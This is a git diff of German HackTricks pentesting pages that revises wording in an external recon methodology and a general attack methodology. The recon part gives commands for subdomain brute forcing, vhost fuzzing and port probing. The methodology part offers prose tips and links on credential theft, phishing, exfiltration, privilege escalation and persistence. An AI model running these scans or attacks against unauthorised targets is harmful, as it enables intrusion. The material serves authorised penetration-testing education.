* Du kannst die goaltdns Permutationen **Wortliste** [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -401,7 +398,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, sie aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
|
||||
* Sie können die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
|
||||
* Du kannst die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) bekommen.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
@ -421,13 +418,13 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-geführten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Subdomain Discovery Workflow**
|
||||
|
||||
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **Subdomain-Entdeckung automatisieren** können, indem Sie **Trickste Workflows** verwenden, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
|
||||
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **automatische Entdeckung von Subdomains** von einer Domain mithilfe von **Trickest-Workflows** durchführen können, sodass ich nicht manuell eine Vielzahl von Tools auf meinem Computer starten muss:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -435,7 +432,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / Virtuelle Hosts**
|
||||
|
||||
Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Websites auf dieser IP zu finden**, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder indem Sie **VHost-Domänennamen auf dieser IP durch Brute-Force suchen**.
|
||||
Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Websites auf dieser IP zu finden**, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder indem Sie **VHost-Domänennamen auf dieser IP durch Brute-Force erzwingen**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -443,7 +440,7 @@ Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Wenn Sie vermuten, dass sich eine Subdomain auf einem Webserver verstecken könnte, könnten Sie versuchen, diese durch Brute-Force zu finden:
|
||||
Wenn Sie vermuten, dass sich eine Subdomain auf einem Webserver verstecken könnte, könnten Sie versuchen, diese durch Brute-Force zu erzwingen:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -469,7 +466,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Eimer-Brute-Force**
|
||||
|
||||
Beim Suchen nach **Subdomains** achten Sie darauf, ob sie auf einen **Eimer** zeigen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Eimer** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Eimernamen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Überwachung**
|
||||
|
@ -479,9 +476,9 @@ Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden
|
|||
### **Suche nach Schwachstellen**
|
||||
|
||||
Überprüfen Sie mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Wenn die **Subdomain** auf einen **S3-Eimer** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Wenn die **Subdomain** auf einen **S3-Eimer** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Wenn Sie eine **Subdomain mit einer anderen IP** als denjenigen gefunden haben, die Sie bereits bei der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
|
||||
Wenn Sie eine **Subdomain mit einer anderen IP** als denjenigen finden, die Sie bereits bei der Assets-Erkennung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
|
||||
_Beachten Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
|
||||
|
||||
## IPs
|
||||
|
@ -493,23 +490,23 @@ Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs
|
|||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen, mithilfe des Tools [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse verweisen, mithilfe des Tools [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
**Scannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie höchstwahrscheinlich nichts Interessantes finden werden). In den gefundenen laufenden Diensten könnten Sie **Schwachstellen finden**.
|
||||
**Scannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie höchstwahrscheinlich nichts Interessantes finden werden). In den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
|
||||
|
||||
**Finden Sie einen** [**Leitfaden**](../pentesting-network/) **zum Scannen von Hosts.**
|
||||
|
||||
## Webserver-Suche
|
||||
|
||||
> Wir haben alle Unternehmen und ihre Vermögenswerte gefunden und kennen die IP-Bereiche, Domains und Subdomains im Scope. Es ist an der Zeit, nach Webservern zu suchen.
|
||||
> Wir haben alle Unternehmen und ihre Vermögenswerte gefunden und kennen die IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
|
||||
|
||||
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der gefundenen IPs und Domains** durchgeführt, sodass Sie möglicherweise bereits alle möglichen Webserver gefunden haben. Wenn nicht, werden wir jetzt einige **schnelle Tricks zum Suchen von Webservern** im Scope sehen.
|
||||
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zum Suchen von Webservern** im Scope sehen.
|
||||
|
||||
Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen** ausgerichtet sein wird, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**).
|
||||
Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**).
|
||||
|
||||
Eine **schnelle Methode** zum Entdecken von **offenen Ports** im Zusammenhang mit **Web**-Servern mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
|
||||
Eine **schnelle Methode** zum Entdecken von **offenen Ports** in Bezug auf **Webserver** mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
|
||||
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -517,11 +514,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
Nachdem Sie **alle Webserver** im Umfang entdeckt haben (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Also, machen wir es einfach und fangen einfach an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
|
||||
Nun, da Sie **alle Webserver** im Umfang entdeckt haben (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Also, machen wir es einfach und fangen einfach an, Screenshots von allen zu machen. Schon beim **Blick auf die Hauptseite** können Sie **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
|
||||
|
||||
Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden.
|
||||
|
||||
Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen mitzuteilen, was wahrscheinlich **Schwachstellen** enthält und was nicht.
|
||||
Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen mitzuteilen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
|
||||
|
||||
## Öffentliche Cloud-Ressourcen
|
||||
|
||||
|
@ -554,7 +551,7 @@ Mit den **Domains** und **Subdomains** im Umfang haben Sie im Grunde alles, was
|
|||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste** (wie SSH) per Brute-Force anzugreifen. Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
|
||||
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem sind sie für **Phishing** erforderlich. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
|
||||
|
||||
## Zugangsdaten-Leaks
|
||||
|
||||
|
@ -565,7 +562,7 @@ Mit den **Domains**, **Subdomains** und **E-Mails** können Sie damit beginnen,
|
|||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten finden, ist dies ein sehr einfacher Gewinn.
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten finden, ist dies ein sehr einfacher Erfolg.
|
||||
|
||||
## Geheimnis-Leaks
|
||||
|
||||
|
@ -599,7 +596,7 @@ _Beachten Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regul
|
|||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten oder API-Token finden, ist dies ein sehr einfacher Gewinn.
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten oder API-Token finden, ist dies ein sehr einfacher Erfolg.
|
||||
|
||||
## Öffentliche Code-Schwachstellen
|
||||
|
||||
|
@ -618,7 +615,7 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
|
|||
|
||||
Die **Mehrheit der Schwachstellen**, die von Bug Bounty Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Webanwendungstestmethodik** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erstellung von anfänglichen Webinformationen** zu implementieren.
|
||||
Ich möchte auch einen speziellen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erstellung von anfänglichen Webinformationen zu implementieren**.
|
||||
|
||||
## Zusammenfassung
|
||||
|
||||
|
@ -627,18 +624,18 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
|
|||
Sie haben also bereits:
|
||||
|
||||
1. Alle **Unternehmen** im Scope gefunden
|
||||
2. Alle **Assets**, die den Unternehmen gehören (und einige Schwachstellen-Scans durchgeführt, wenn im Scope)
|
||||
3. Alle **Domains**, die den Unternehmen gehören
|
||||
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
|
||||
2. Alle **Assets** der Unternehmen gefunden (und bei Bedarf einen Schwachstellenscan durchgeführt)
|
||||
3. Alle **Domains** der Unternehmen gefunden
|
||||
4. Alle **Subdomains** der Domains gefunden (gibt es eine Möglichkeit zur Übernahme von Subdomains?)
|
||||
5. Alle **IPs** (von und **nicht von CDNs**) im Scope gefunden.
|
||||
6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das genauer betrachtet werden sollte?)
|
||||
7. Alle **potenziellen öffentlichen Cloud-Ressourcen**, die dem Unternehmen gehören.
|
||||
7. Alle **potenziellen öffentlichen Cloud-Ressourcen** des Unternehmens gefunden.
|
||||
8. **E-Mails**, **Zugangsdaten-Leaks** und **Geheimnis-Leaks**, die Ihnen einen **großen Gewinn sehr einfach** ermöglichen könnten.
|
||||
9. **Pentesting aller von Ihnen gefundenen Websites**
|
||||
|
||||
## **Vollständige Recon-Automatisierungstools**
|
||||
## **Vollständige automatische Recon-Tools**
|
||||
|
||||
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen.
|
||||
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope durchführen werden.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -649,7 +646,7 @@ Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen b
|
|||
|
||||
* Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
@ -9,18 +9,18 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositorys senden.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting-Methodik
|
||||
## Pentesting Methodology
|
||||
|
||||
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -30,12 +30,12 @@ _Hacktricks-Logos entworfen von_ [_@ppiernacho_](https://www.instagram.com/ppier
|
|||
|
||||
Haben Sie **physischen Zugriff** auf die Maschine, die Sie angreifen möchten? Sie sollten einige [**Tricks zu physischen Angriffen**](../hardware-physical-access/physical-attacks.md) und andere zum [**Entkommen aus GUI-Anwendungen**](../hardware-physical-access/escaping-from-gui-applications.md) lesen.
|
||||
|
||||
### 1 - [Hosts im Netzwerk entdecken](pentesting-network/#discovering-hosts)/ [Assets des Unternehmens entdecken](external-recon-methodology/)
|
||||
### 1 - [Hosts im Netzwerk entdecken](pentesting-network/#discovering-hosts)/ [Unternehmensassets entdecken](external-recon-methodology/)
|
||||
|
||||
**Je nachdem**, ob der **Test**, den Sie durchführen, ein **interner oder externer Test** ist, möchten Sie möglicherweise **Hosts im Unternehmensnetzwerk finden** (interner Test) oder **Assets des Unternehmens im Internet finden** (externer Test).
|
||||
**Je nachdem**, ob der **Test**, den Sie durchführen, ein **interner oder externer Test** ist, möchten Sie möglicherweise **Hosts im Firmennetzwerk finden** (interner Test) oder **Assets des Unternehmens im Internet finden** (externer Test).
|
||||
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass bei Durchführung eines externen Tests, sobald Sie Zugriff auf das interne Netzwerk des Unternehmens erhalten haben, sollten Sie diesen Leitfaden neu starten.
|
||||
Beachten Sie, dass bei einem externen Test, sobald Sie Zugriff auf das interne Netzwerk des Unternehmens erhalten haben, sollten Sie diesen Leitfaden neu starten.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)**
|
||||
|
@ -43,19 +43,19 @@ Beachten Sie, dass bei Durchführung eines externen Tests, sobald Sie Zugriff au
|
|||
**Dieser Abschnitt gilt nur, wenn Sie einen internen Test durchführen.**\
|
||||
Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten sniffen**, um passiv/aktiv (MitM) zu lernen, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
|
||||
|
||||
### 3- [Port-Scan - Service-Erkennung](pentesting-network/#scanning-hosts)
|
||||
### 3- [Port-Scan - Serviceerkennung](pentesting-network/#scanning-hosts)
|
||||
|
||||
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) an.
|
||||
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Host-Ports**](pentesting-network/#scanning-hosts) an.
|
||||
|
||||
### **4-** [Suche nach Service-Version-Exploits](search-exploits.md)
|
||||
|
||||
Sobald Sie wissen, welche Dienste ausgeführt werden, und möglicherweise deren Version, müssen Sie nach bekannten Schwachstellen suchen. Vielleicht haben Sie Glück und es gibt einen Exploit, der Ihnen eine Shell gibt...
|
||||
Sobald Sie wissen, welche Dienste ausgeführt werden, und vielleicht deren Version, müssen Sie nach bekannten Schwachstellen suchen. Vielleicht haben Sie Glück und es gibt einen Exploit, der Ihnen eine Shell gibt...
|
||||
|
||||
### **5-** Pentesting-Services
|
||||
|
||||
Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **üblichen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**.
|
||||
|
||||
**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig sind)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
|
||||
**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so gängig sind)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
|
||||
|
||||
**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\
|
||||
Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachstellen in Software finden**](search-exploits.md).
|
||||
|
@ -64,7 +64,7 @@ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachst
|
|||
|
||||
#### 5.1 Automatische Tools
|
||||
|
||||
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)\*\* zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.\*\*
|
||||
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde Ihnen empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
|
||||
|
||||
#### **5.2 Brute-Force von Diensten**
|
||||
|
||||
|
@ -76,7 +76,7 @@ Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben
|
|||
|
||||
### **7-** [**Shell erhalten**](shells/)
|
||||
|
||||
Irgendwie sollten Sie einen Weg gefunden haben, **Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich]\(shells/).
|
||||
Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich](shells/).
|
||||
|
||||
Insbesondere bei Windows könnten Sie Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfen Sie diese Seite**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -90,19 +90,18 @@ Wenn Sie Probleme mit der Shell haben, finden Sie hier eine kleine **Zusammenste
|
|||
|
||||
### **9 -** [**Exfiltration**](exfiltration.md)
|
||||
|
||||
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilege Escalation). **Hier haben Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
|
||||
|
||||
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier finden Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
|
||||
### **10- Privilege Escalation**
|
||||
|
||||
#### **10.1- Lokale Privilege-Eskalation**
|
||||
|
||||
Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu eskalieren.**\
|
||||
Hier finden Sie eine **Anleitung zur Eskalation von Berechtigungen lokal in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Hier finden Sie eine **Anleitung zur lokalen Privilege-Eskalation in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprüfen:
|
||||
|
||||
* [**Authentifizierung, Anmeldeinformationen, Token-Berechtigungen und UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Wie funktioniert **NTLM**]\(../windows-hardening/ntlm/)
|
||||
* Wie man Anmeldeinformationen in Windows [**stiehlt**](https://github.com/carlospolop/hacktricks/blob/de/generic-methodologies-and-resources/broken-reference/README.md)
|
||||
* Wie funktioniert **NTLM**](../windows-hardening/ntlm/)
|
||||
* Wie man **Anmeldeinformationen stiehlt**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Einige Tricks zu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Privilege-Eskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
@ -116,21 +115,21 @@ Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, E
|
|||
#### **11**.1 - Plündern
|
||||
|
||||
Überprüfen Sie, ob Sie mehr **Passwörter** im Host finden können oder ob Sie **Zugriff auf andere Maschinen** mit den **Berechtigungen** Ihres **Benutzers** haben.\
|
||||
Hier finden Sie verschiedene Möglichkeiten, [**Passwörter in Windows abzurufen**](https://github.com/carlospolop/hacktricks/blob/de/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
Hier finden Sie verschiedene Möglichkeiten, [**Passwörter in Windows abzurufen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Persistenz
|
||||
|
||||
**Verwenden Sie 2 oder 3 verschiedene Arten von Persistenzmechanismen, damit Sie das System nicht erneut ausnutzen müssen.**\
|
||||
**Hier finden Sie einige** [**Persistenztricks im Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Vervollständigen Sie die Persistenz-Post in Windows & Linux
|
||||
TODO: Persistenz-Post in Windows & Linux vervollständigen
|
||||
|
